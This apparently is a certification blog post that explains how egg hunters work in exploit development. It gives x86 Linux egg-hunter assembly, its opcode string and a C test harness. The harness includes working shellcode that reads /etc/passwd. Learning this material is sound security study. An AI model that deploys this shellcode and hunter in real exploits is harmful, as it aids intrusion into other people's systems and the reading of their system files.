An egg hunter is usually used in exploit development. To give a brief description, this “process” is implemented when there is a small space for the shellcode’s storage during exploitation. What the egg hunter does is it tries to find the “egg” in the whole virtual address space (memory) as it is an indication of the start of another shellcode which couldn’t fit in the buffer of an application being exploited.
During my time on “Penetration Testing with Kali (PWK-OSCP)”, I remember coming across this exploit which had the string “n00bn00b” before the shellcode. It looked something like this:
At first, I didn’t really mind it because I thought it was just an adjustment for the correct offset of the EIP overwriting but what I previously couldn’t understand is why I should wait for around a minute before I could connect to it as seen in the exploit script:
Indeed, I had to wait for around 20-40 seconds or even a minute as I remembered before it worked. The realization came after reading about “egg hunters” as it was one of the assignments to get certified with “SecurityTube’s Linux Assembly Expert”. The “egg” in that exploit was basically “n00b” but written as “n00bn00b” so the egg hunter won’t confuse its own code containing “n00b” with the real egg. Dissecting the exploit’s egg hunter should show the egg “n00b”:
The 1 minute delay in this case was basically the waiting time where the egg hunter had to search for this egg in memory. Interesting eh?
I could go on and talk more about how the technical stuff works but I must redirect you to this paper for reference as it does a really good job explaining how egg hunters are implemented and what are the issues during execution. Below is how I implemented the egg hunter discussed in 3.1.2 from the paper:
xor ebx, ebx ; Clear EBX
imul ebx ; EDX:EAX = EBX * EAX, EDX = 0, EAX = 0
or dx, 0xfff ; PAGE_SIZE = 4095
inc edx ; Increment memory address
lea ebx, [edx + 0x04] ; Adjust pointer to 2nd instance of egg
xor eax, eax
mov al, 0x21 ; SYS_ACCESS
int 0x80 ; Interrupt for SYS_ACCESS
cmp al, 0xf2 ; EFAULT (Bad Address -14)
mov eax, 0x6230306e ; Egg = n00b
cmp eax, dword[edx] ; Compare EAX=”n00b” ? [EDX]=”XXXX”
jne memory_adjustment ; If EAX != [EDX], try next byte
cmp eax, dword[edx+4] ; [EDX+4] (2nd instance of egg)
jne memory_adjustment ; If EAX != [EDX+4], this might be our egghunter “mov eax, 0x6230306e”
add edx, 8 ; Skip 8 bytes egg “n00bn00b”
jmp edx ; Jump to shellcode
To test this egg hunter, I’ve added in a shellcode to read /etc/passwd after the “n00bn00b” as the egg that I’ve implemented uses “n00b” as seen in “mov eax, 0x6230306e“:
// Read /etc/passwd shellcode
char stage = “n00bn00b\x31\xc9\x51\x68\x73\x77\x64\x00\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x31\xc0\xb0\x05\x89\xe3\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x89\xe1\x31\xd2\xfe\xc2\xcd\x80\x50\x53\x31\xc0\xb0\x04\x31\xdb\xfe\xc3\xcd\x80\x5b\x58\x83\xf8\x01\x74\xe1\xb0\x06\xcd\x80\xb0\x01\xcd\x80”;
char code = “\x31\xdb\xf7\xeb\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8\x6e\x30\x30\x62\x3b\x02\x75\xe9\x3b\x42\x04\x75\xe4\x83\xc2\x08\xff\xe2”;
printf(“Shellcode Length: %d\n”, strlen(code));
int (*ret)() = (int(*)())code;
Notice that the shellcode for reading /etc/passwd isn’t being called anywhere in the C program. When this C program is compiled and executed, that part of the code will be loaded in memory and that’s where the magic of the egg hunter starts to work which is finding that piece of code and “jmp” to it.
All code presented can be found in GitHub.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification (Student ID: SLAE-1261)